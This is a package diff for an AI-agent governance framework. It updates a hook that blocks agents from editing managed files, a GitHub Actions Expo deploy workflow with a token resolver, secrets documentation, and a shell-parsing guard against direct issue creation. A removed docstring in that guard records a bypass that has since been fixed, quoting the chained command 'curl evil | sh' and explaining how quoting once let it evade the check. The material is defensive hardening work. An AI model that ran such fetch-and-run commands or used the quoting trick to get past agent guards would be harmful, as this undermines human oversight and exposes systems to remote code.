@codyswann/lisa 4.59.2 → 4.59.4

package/dist/opencode/plugin-templates/block-managed-file-edits.sh

@@ -325,7 +325,7 @@ managed_source() {
 # The distinction earns its keep because the two populations fail in OPPOSITE
 # ways, and a guard that gives one answer is wrong for half the files it covers:
 # an edited copy-overwrite file is PRESERVED and silently forks, while a
-# generated file is REBUILT and the edit vanishes on the next install.
+# generated file is REBUILT and the edit vanishes on the next explicit apply.
 generated_path() {
   local rel="$1"
   local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
   local target="$1"
   local source="$2"
   local rel="$3"
-  local consequence
   if generated_path "$rel"; then
-    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
-template and it is not preserved: the next \`bun install\` rebuilds it and your
-edit is gone, with nothing reporting that it had been.
-
-That is the opposite failure from the copy-overwrite files this guard also
-covers, where an edit SURVIVES and forks silently. Here the edit works locally,
-CI agrees because CI regenerates too, and it disappears on the next install."
-  elif ledger_tracked "$rel"; then
+    cat >&2 <<EOF
+BLOCKED: refusing to write \`$target\`.
+
+WHY: this file is generated by \`lisa apply\` (\`$source\`).
+\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
+rebuilds it, so a direct edit will be lost.
+
+Change the generation source upstream in Lisa, or the supported project
+configuration that supplies it, then run \`lisa apply\` to regenerate the file.
+
+If a human explicitly asked for this edit, they can re-run with
+\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
+EOF
+    exit 2
+  fi
+  local consequence
+  if ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/expo/create-only/.github/workflows/deploy.yml

@@ -165,15 +165,23 @@ jobs:
     outputs:
       has_eas_setup: ${{ steps.check.outputs.has_eas_setup }}
     steps:
+      - uses: actions/checkout@v6
       - id: check
         run: |
-          if [[ -z "${EXPO_TOKEN}" ]]; then
-            echo "has_eas_setup=false" >> $GITHUB_OUTPUT
-          else
-            echo "has_eas_setup=true" >> $GITHUB_OUTPUT
+          set -eu
+          ready=false
+          if [ -n "$EXPO_TOKEN" ]; then
+            ready=true
+          elif [ -n "$LISA_SECRETS_BOOTSTRAP" ] && [ -f .lisa.config.json ]; then
+            provider=$(jq -r '.secrets.provider // "env"' .lisa.config.json)
+            if [ "$provider" != env ]; then ready=true; fi
           fi
+          # Eligibility is not authentication; each consuming job resolves its own token.
+          echo "has_eas_setup=$ready" >> "$GITHUB_OUTPUT"
         env:
           EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
+          # Map this to the existing tenant-scoped bootstrap secret if named differently.
+          LISA_SECRETS_BOOTSTRAP: ${{ secrets.BWS_ACCESS_TOKEN }}
 
   # Check if native app config has changed
   check_app_config_changes:
@@ -236,6 +244,7 @@ jobs:
       environment: ${{ needs.determine_environment.outputs.environment }}
     secrets:
       EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
+      LISA_SECRETS_BOOTSTRAP: ${{ secrets.BWS_ACCESS_TOKEN }}
 
   # EAS Deploy/Publish
   deploy:
@@ -316,15 +325,28 @@ jobs:
         uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6 # v2.2.0
         with:
           bun-version: '1.3.8'
-      - name: Setup EAS
-        uses: expo/expo-github-action@c7b66a9c327a43a8fa7c0158e7f30d6040d2481e # v8.2.1
-        with:
-          eas-version: latest
-          token: ${{ secrets.EXPO_TOKEN }}
       - name: Set Env
         run: echo "PUPPETEER_SKIP_DOWNLOAD=true" >> $GITHUB_ENV
       - name: Install dependencies
         run: bun install
+      - name: Resolve Expo token
+        env:
+          EXPO_TOKEN: ${{ secrets.EXPO_TOKEN }}
+          LISA_SECRETS_BOOTSTRAP: ${{ secrets.BWS_ACCESS_TOKEN }}
+        run: |
+          set -eu
+          if [ -n "$EXPO_TOKEN" ] || [ -z "$LISA_SECRETS_BOOTSTRAP" ]; then exit 0; fi
+          resolver=node_modules/@codyswann/lisa/plugins/lisa/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs
+          if [ ! -f "$resolver" ]; then
+            echo "::error::Upgrade the project's @codyswann/lisa dependency before enabling provider-backed Expo authentication."
+            exit 1
+          fi
+          node "$resolver"
+      - name: Setup EAS
+        uses: expo/expo-github-action@c7b66a9c327a43a8fa7c0158e7f30d6040d2481e # v8.2.1
+        with:
+          eas-version: latest
+          token: ${{ secrets.EXPO_TOKEN || env.EXPO_TOKEN }}
       - name: Copy environment file
         uses: canastro/copy-file-action@ae66602ce7d214dbd2e298c1db67a81388755a0a # master (untagged, 2022-10-17)
         with:

package/package.json

@@ -187,7 +187,7 @@
     "zod-validation-error": "^4.0.0"
   },
   "name": "@codyswann/lisa",
-  "version": "4.59.2",
+  "version": "4.59.4",
   "description": "Claude Code governance framework that applies guardrails, guidance, and automated enforcement to projects",
   "main": "dist/index.js",
   "exports": {
@@ -336,7 +336,7 @@
     "test": "tests"
   },
   "types": "./dist/index.d.ts",
-  "lisaReleaseCommit": "e407fcde40b7a3d28b183f328b047d0ef0c422bd",
-  "gitHead": "e407fcde40b7a3d28b183f328b047d0ef0c422bd",
-  "lisaReleaseTag": "v4.59.2"
+  "lisaReleaseCommit": "6b6743812891ef43d6042b5d34531e380c2ac293",
+  "gitHead": "6b6743812891ef43d6042b5d34531e380c2ac293",
+  "lisaReleaseTag": "v4.59.4"
 }

package/plugins/lisa/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "4.59.2",
+  "version": "4.59.4",
   "description": "Universal governance — agents, skills, commands, hooks, and rules for all projects",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/.codex-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "lisa",
-  "version": "4.59.2",
+  "version": "4.59.4",
   "description": "Universal governance: agents, skills, commands, hooks, and rules for all projects.",
   "author": {
     "name": "Cody Swann"

package/plugins/lisa/.codex-plugin/skills/lisa-secrets-access/SKILL.md

@@ -188,6 +188,18 @@ On the GitHub Actions surface the repository secret and the exported environment
 
 There is no map of secret IDs, deliberately. Copying an ID per secret is the same duplication in a smaller costume, and lookup is by name.
 
+### Expo workflow pilot
+
+The reusable Expo build workflow and the Expo deploy template can resolve `EXPO_TOKEN` from the project's configured provider. An explicit `EXPO_TOKEN` repository secret still takes precedence. Projects without a provider bootstrap keep their existing behavior.
+
+For provider-backed Expo authentication, install a Lisa package containing `resolve-expo-token.mjs`, declare the provider and bootstrap in `.lisa.config.json`, and include `EXPO_TOKEN` if `secrets.require` is present. The workflow prepares only that provider's CLI through Lisa's existing installer, which uses checksum-pinned downloads for Bitwarden. Providers requiring manual setup must already be installed on the runner. The resolver respects the provider grant and `secrets.narrow`, masks the selected token, and writes only `EXPO_TOKEN` to the current job's environment. The bootstrap stays inside the resolver subprocess; the vault is not materialized into the job environment.
+
+The build workflow's optional `LISA_SECRETS_BOOTSTRAP` secret input accepts the existing repository bootstrap secret. This input is an alias, not another stored credential: the resolver maps it to `bootstrap.key` inside its process. The Expo caller template forwards `secrets.BWS_ACCESS_TOKEN` by default. If your stored bootstrap has a different name, update its three references: the eligibility check, the reusable build call, and the deploy job's resolution step.
+
+The eligibility check only establishes that an explicit token or a configured provider plus bootstrap is available. Each build or deploy job resolves its own token and must authenticate with Expo. A provider-backed caller using an older Lisa package fails with an upgrade instruction before invoking Expo.
+
+The deploy caller is a **create-only** template. Existing projects must deliberately apply these caller changes after upgrading Lisa; a normal sync does not overwrite their workflow. This pilot does not convert other workflow credentials. `DEPLOY_KEY` remains available before dependency installation for checkout. Do not remove an existing Expo repository secret until a provider-only run has authenticated successfully.
+
 ## The exposure boundary
 
 **The provider's own scoping is the default allowlist.** The machine account's project grants *are* the permitted set; restating that as a list in config would duplicate a boundary the provider already enforces.

package/plugins/lisa/.codex-plugin/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs

@@ -0,0 +1,90 @@
+#!/usr/bin/env node
+/** Resolve the Expo pilot's credential inside its GitHub Actions job. */
+import { randomUUID } from "node:crypto";
+import { appendFileSync } from "node:fs";
+
+import { get, readConfig } from "./resolve-secret.mjs";
+import { ENV_KEY } from "./providers.mjs";
+import {
+  BIN_DIR,
+  ensureOnPath,
+  loadPinnedInstaller,
+} from "../../lisa-setup-workstation/scripts/cli.mjs";
+import {
+  installEntry,
+  planProvider,
+  resolveProvider,
+} from "../../lisa-setup-workstation/scripts/workstation.mjs";
+
+/** Provision only the selected provider, using the existing pinned installer. */
+async function prepareProvider(name) {
+  const provider = resolveProvider(name);
+  let plan = planProvider(provider);
+  if (plan.action === "present") return;
+  ensureOnPath(BIN_DIR);
+  plan = planProvider(provider);
+  if (plan.action === "present") return;
+  if (plan.action !== "install") throw new Error("Provider needs setup");
+  const installed = installEntry({ ...provider, name: provider.binary }, plan, {
+    installPinned: await loadPinnedInstaller(),
+  });
+  if (installed.action !== "installed")
+    throw new Error("Provider setup failed");
+}
+
+/** Keep the bootstrap inside this subprocess; export only the selected value. */
+async function resolveToken() {
+  const explicit = process.env.EXPO_TOKEN;
+  const bootstrap = process.env.LISA_SECRETS_BOOTSTRAP;
+  delete process.env.LISA_SECRETS_BOOTSTRAP;
+  if (explicit) return explicit;
+
+  process.env.LISA_SECRETS_SURFACE = "github-actions";
+  const cfg = readConfig();
+  if (cfg.provider === "env") return "";
+  if (
+    bootstrap &&
+    (!ENV_KEY.test(cfg.bootstrap.key ?? "") ||
+      cfg.bootstrap.key === "EXPO_TOKEN")
+  ) {
+    throw new Error("Invalid bootstrap key");
+  }
+  await prepareProvider(cfg.provider);
+  if (bootstrap) process.env[cfg.bootstrap.key] = bootstrap;
+  return get("EXPO_TOKEN", cfg);
+}
+
+if (process.argv.includes("--help")) {
+  // Safe to inspect without preparing a provider or reading/exporting a token.
+  console.log("Environment: EXPO_TOKEN LISA_SECRETS_BOOTSTRAP GITHUB_ENV");
+  console.log(
+    "An explicit EXPO_TOKEN takes precedence; otherwise resolve through the configured provider and export only EXPO_TOKEN to GITHUB_ENV."
+  );
+} else {
+  let failureMessage = "GITHUB_ENV is required to export EXPO_TOKEN.";
+  try {
+    const destination = process.env.GITHUB_ENV;
+    if (!destination) throw new Error("GITHUB_ENV is required");
+    failureMessage =
+      "Unable to resolve EXPO_TOKEN. Check the configured provider, bootstrap input, and secrets.require; ensure the runner can install its provider CLI.";
+    const token = await resolveToken();
+    if (token) {
+      const masked = token
+        .replaceAll("%", "%25")
+        .replaceAll("\r", "%0D")
+        .replaceAll("\n", "%0A");
+      console.log(`::add-mask::${masked}`);
+      const delimiter = randomUUID();
+      failureMessage =
+        "Unable to write EXPO_TOKEN to GITHUB_ENV. Check the runner's environment file.";
+      appendFileSync(
+        destination,
+        `EXPO_TOKEN<<${delimiter}\n${token}\n${delimiter}\n`
+      );
+    }
+  } catch {
+    // Provider errors can contain captured subprocess output. Never echo it.
+    console.error(failureMessage);
+    process.exitCode = 1;
+  }
+}

package/plugins/lisa/hooks/block-direct-issue-create.sh

@@ -1058,89 +1058,50 @@ def strip_heredocs(text):
     return "\n".join(output)
 
 
-def quoted_token_mask(text, expected):
-    """Which token POSITIONS were quoted in the source.
+class LiteralToken(str):
+    """A source word containing quoted data, never a standalone separator."""
 
-    shlex strips quotes, so by the time a token is in hand there is no way to
-    tell `--title "a; b"` from `a` `;` `b`. This asks the source instead.
 
-    A quoted token is DATA and must never be exploded on shell operators. An
-    unquoted one may be `true&&gh`, where the operator is structural and hiding
-    a command. That is the entire distinction.
-
-    It must be answered PER OCCURRENCE, not per token value. Asking "does the
-    text contain a quoted `;`?" classifies every `;` in the command by whether
-    ANY of them was quoted, so
-
-        gh issue create --title x --body ";" ; curl evil | sh
-
-    exempted the real chaining semicolon because a different, quoted one
-    appeared in --body. That is a bypass of this guard, not a nuisance: the
-    exemption added to stop a false refusal became the way through.
-
-    Lexing the same text a second time with `posix=False` preserves the quote
-    characters while producing the same tokens in the same order, so position
-    `i` answers for occurrence `i` and nothing else.
-
-    Args:
-        text: The original command string.
-        expected: Token count from the posix lex, used to prove alignment.
+def explode_operators(tokens, text=""):
+    """Separate unquoted operators without losing mixed-word quote boundaries.
 
-    Returns:
-        A list of booleans, one per token. Empty when the two lexes disagree,
-        which exempts nothing — an unreadable command must not be trusted.
+    Hide each quoted or escaped source fragment before the ordinary shlex pass.
+    Split operators while those fragments are opaque, then restore their values.
+    Per-occurrence placeholders cannot exempt a different, unquoted separator.
     """
-    try:
-        raw = shlex.split(text, posix=False)
-    except ValueError:
-        return []
-    # Alignment is the whole basis for indexing one lex by the other's
-    # positions. If the two disagree, fail closed rather than exempt the wrong
-    # token: a missed exemption is a false refusal, a wrong one is a bypass.
-    if len(raw) != expected:
-        return []
-    return [token[:1] in ('"', "'") for token in raw]
-
+    operators = re.compile("(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")")
+    if not text:
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-def explode_operators(tokens, text=""):
-    """Split shell control operators glued to adjacent words.
+    prefix = "__lisa_literal_"
+    while prefix in text:
+        prefix += "_"
+    values = []
+    fragments = re.compile(r"""'[^']*'|"(?:\\[\s\S]|[^"\\])*"|\\[\s\S]""")
 
-    `true&&gh issue create` tokenises as one word `true&&gh`, whose basename is
-    not `gh`, so the creation hid behind the operator. Splitting them out means
-    an operator can never be load-bearing punctuation inside a token.
+    def hide(match):
+        """Decode one protected fragment through the same POSIX lexer."""
+        value = shlex.split(match.group(0), posix=True)
+        values.append(value[0] if value else "")
+        return prefix + str(len(values) - 1) + "__"
 
-    QUOTED tokens are exempt BY POSITION, and that exemption is the fix for a
-    measured false refusal: a `--title "Trim config; org preference"` was split on its
-    semicolon, the `--label status:ready` landed in a different segment from the
-    `gh issue create`, and the guard refused a correctly-formed filing while
-    telling the author to add the label they had already added. Recorded on
-    CodySwannGT/lisa#2634 after it blocked a real filing.
+    masked = fragments.sub(hide, text)
+    marker = re.compile(re.escape(prefix) + r"(\d+)__")
 
-    `shlex.shlex(punctuation_chars=True)` is NOT the fix and was measured: it
-    tokenises the glued case correctly but shatters a GraphQL payload —
-    `query=mutation{issueCreate(input:{})}` becomes three fragments — which is
-    the exact regression the GLUED_OPERATORS comment above records as having
-    silently un-refused every GraphQL creation.
+    def restore(value):
+        """Restore once, so decoded text cannot become another placeholder."""
+        return marker.sub(lambda match: values[int(match.group(1))], value)
 
-    Args:
-        tokens: Tokens from shlex.
-        text: The original command string, used to detect quoting.
+    shadow = shlex.split(masked, posix=True)
+    if [restore(token) for token in shadow] != tokens:
+        # If alignment cannot be established, grant no quoting exemptions.
+        return [piece for token in tokens for piece in operators.split(token) if piece]
 
-    Returns:
-        Tokens with operators separated out.
-    """
-    pattern = re.compile(
-        "(" + "|".join(re.escape(op) for op in GLUED_OPERATORS) + ")"
-    )
     exploded = []
-    quoted = quoted_token_mask(text, len(tokens)) if text else []
-    for index, token in enumerate(tokens):
-        if index < len(quoted) and quoted[index]:
-            exploded.append(token)
-            continue
-        for piece in pattern.split(token):
+    for token in shadow:
+        for piece in operators.split(token):
             if piece:
-                exploded.append(piece)
+                exploded.append(LiteralToken(restore(piece)) if marker.search(piece) else piece)
     return exploded
 
 
@@ -1156,7 +1117,7 @@ def segment(tokens):
     segments = []
     current = []
     for token in tokens:
-        if token in SEGMENT_BOUNDARIES:
+        if token in SEGMENT_BOUNDARIES and not isinstance(token, LiteralToken):
             segments.append(current)
             current = []
             continue

package/plugins/lisa/hooks/block-managed-file-edits.sh

@@ -325,7 +325,7 @@ managed_source() {
 # The distinction earns its keep because the two populations fail in OPPOSITE
 # ways, and a guard that gives one answer is wrong for half the files it covers:
 # an edited copy-overwrite file is PRESERVED and silently forks, while a
-# generated file is REBUILT and the edit vanishes on the next install.
+# generated file is REBUILT and the edit vanishes on the next explicit apply.
 generated_path() {
   local rel="$1"
   local module="$package_root/dist/migrations/generated-paths.js"
@@ -364,16 +364,24 @@ refuse() {
   local target="$1"
   local source="$2"
   local rel="$3"
-  local consequence
   if generated_path "$rel"; then
-    consequence="\`lisa apply\` REGENERATES this file. It is not copied from a
-template and it is not preserved: the next \`bun install\` rebuilds it and your
-edit is gone, with nothing reporting that it had been.
-
-That is the opposite failure from the copy-overwrite files this guard also
-covers, where an edit SURVIVES and forks silently. Here the edit works locally,
-CI agrees because CI regenerates too, and it disappears on the next install."
-  elif ledger_tracked "$rel"; then
+    cat >&2 <<EOF
+BLOCKED: refusing to write \`$target\`.
+
+WHY: this file is generated by \`lisa apply\` (\`$source\`).
+\`lisa apply\` REGENERATES this file. The next explicit \`lisa apply\`
+rebuilds it, so a direct edit will be lost.
+
+Change the generation source upstream in Lisa, or the supported project
+configuration that supplies it, then run \`lisa apply\` to regenerate the file.
+
+If a human explicitly asked for this edit, they can re-run with
+\`LISA_ALLOW_MANAGED_FILE_WRITE=1\` set, which bypasses this guard.
+EOF
+    exit 2
+  fi
+  local consequence
+  if ledger_tracked "$rel"; then
     consequence="\`lisa apply\` will KEEP your edit — this is a Lisa-owned guard,
 and apply says so: \"its contents match no Lisa release, so Lisa cannot tell
 whether it is out of date or deliberately stronger. Kept yours.\"

package/plugins/lisa/skills/lisa-secrets-access/SKILL.md

@@ -188,6 +188,18 @@ On the GitHub Actions surface the repository secret and the exported environment
 
 There is no map of secret IDs, deliberately. Copying an ID per secret is the same duplication in a smaller costume, and lookup is by name.
 
+### Expo workflow pilot
+
+The reusable Expo build workflow and the Expo deploy template can resolve `EXPO_TOKEN` from the project's configured provider. An explicit `EXPO_TOKEN` repository secret still takes precedence. Projects without a provider bootstrap keep their existing behavior.
+
+For provider-backed Expo authentication, install a Lisa package containing `resolve-expo-token.mjs`, declare the provider and bootstrap in `.lisa.config.json`, and include `EXPO_TOKEN` if `secrets.require` is present. The workflow prepares only that provider's CLI through Lisa's existing installer, which uses checksum-pinned downloads for Bitwarden. Providers requiring manual setup must already be installed on the runner. The resolver respects the provider grant and `secrets.narrow`, masks the selected token, and writes only `EXPO_TOKEN` to the current job's environment. The bootstrap stays inside the resolver subprocess; the vault is not materialized into the job environment.
+
+The build workflow's optional `LISA_SECRETS_BOOTSTRAP` secret input accepts the existing repository bootstrap secret. This input is an alias, not another stored credential: the resolver maps it to `bootstrap.key` inside its process. The Expo caller template forwards `secrets.BWS_ACCESS_TOKEN` by default. If your stored bootstrap has a different name, update its three references: the eligibility check, the reusable build call, and the deploy job's resolution step.
+
+The eligibility check only establishes that an explicit token or a configured provider plus bootstrap is available. Each build or deploy job resolves its own token and must authenticate with Expo. A provider-backed caller using an older Lisa package fails with an upgrade instruction before invoking Expo.
+
+The deploy caller is a **create-only** template. Existing projects must deliberately apply these caller changes after upgrading Lisa; a normal sync does not overwrite their workflow. This pilot does not convert other workflow credentials. `DEPLOY_KEY` remains available before dependency installation for checkout. Do not remove an existing Expo repository secret until a provider-only run has authenticated successfully.
+
 ## The exposure boundary
 
 **The provider's own scoping is the default allowlist.** The machine account's project grants *are* the permitted set; restating that as a list in config would duplicate a boundary the provider already enforces.

package/plugins/lisa/skills/lisa-secrets-access/scripts/resolve-expo-token.mjs

@@ -0,0 +1,90 @@
+#!/usr/bin/env node
+/** Resolve the Expo pilot's credential inside its GitHub Actions job. */
+import { randomUUID } from "node:crypto";
+import { appendFileSync } from "node:fs";
+
+import { get, readConfig } from "./resolve-secret.mjs";
+import { ENV_KEY } from "./providers.mjs";
+import {
+  BIN_DIR,
+  ensureOnPath,
+  loadPinnedInstaller,
+} from "../../lisa-setup-workstation/scripts/cli.mjs";
+import {
+  installEntry,
+  planProvider,
+  resolveProvider,
+} from "../../lisa-setup-workstation/scripts/workstation.mjs";
+
+/** Provision only the selected provider, using the existing pinned installer. */
+async function prepareProvider(name) {
+  const provider = resolveProvider(name);
+  let plan = planProvider(provider);
+  if (plan.action === "present") return;
+  ensureOnPath(BIN_DIR);
+  plan = planProvider(provider);
+  if (plan.action === "present") return;
+  if (plan.action !== "install") throw new Error("Provider needs setup");
+  const installed = installEntry({ ...provider, name: provider.binary }, plan, {
+    installPinned: await loadPinnedInstaller(),
+  });
+  if (installed.action !== "installed")
+    throw new Error("Provider setup failed");
+}
+
+/** Keep the bootstrap inside this subprocess; export only the selected value. */
+async function resolveToken() {
+  const explicit = process.env.EXPO_TOKEN;
+  const bootstrap = process.env.LISA_SECRETS_BOOTSTRAP;
+  delete process.env.LISA_SECRETS_BOOTSTRAP;
+  if (explicit) return explicit;
+
+  process.env.LISA_SECRETS_SURFACE = "github-actions";
+  const cfg = readConfig();
+  if (cfg.provider === "env") return "";
+  if (
+    bootstrap &&
+    (!ENV_KEY.test(cfg.bootstrap.key ?? "") ||
+      cfg.bootstrap.key === "EXPO_TOKEN")
+  ) {
+    throw new Error("Invalid bootstrap key");
+  }
+  await prepareProvider(cfg.provider);
+  if (bootstrap) process.env[cfg.bootstrap.key] = bootstrap;
+  return get("EXPO_TOKEN", cfg);
+}
+
+if (process.argv.includes("--help")) {
+  // Safe to inspect without preparing a provider or reading/exporting a token.
+  console.log("Environment: EXPO_TOKEN LISA_SECRETS_BOOTSTRAP GITHUB_ENV");
+  console.log(
+    "An explicit EXPO_TOKEN takes precedence; otherwise resolve through the configured provider and export only EXPO_TOKEN to GITHUB_ENV."
+  );
+} else {
+  let failureMessage = "GITHUB_ENV is required to export EXPO_TOKEN.";
+  try {
+    const destination = process.env.GITHUB_ENV;
+    if (!destination) throw new Error("GITHUB_ENV is required");
+    failureMessage =
+      "Unable to resolve EXPO_TOKEN. Check the configured provider, bootstrap input, and secrets.require; ensure the runner can install its provider CLI.";
+    const token = await resolveToken();
+    if (token) {
+      const masked = token
+        .replaceAll("%", "%25")
+        .replaceAll("\r", "%0D")
+        .replaceAll("\n", "%0A");
+      console.log(`::add-mask::${masked}`);
+      const delimiter = randomUUID();
+      failureMessage =
+        "Unable to write EXPO_TOKEN to GITHUB_ENV. Check the runner's environment file.";
+      appendFileSync(
+        destination,
+        `EXPO_TOKEN<<${delimiter}\n${token}\n${delimiter}\n`
+      );
+    }
+  } catch {
+    // Provider errors can contain captured subprocess output. Never echo it.
+    console.error(failureMessage);
+    process.exitCode = 1;
+  }
+}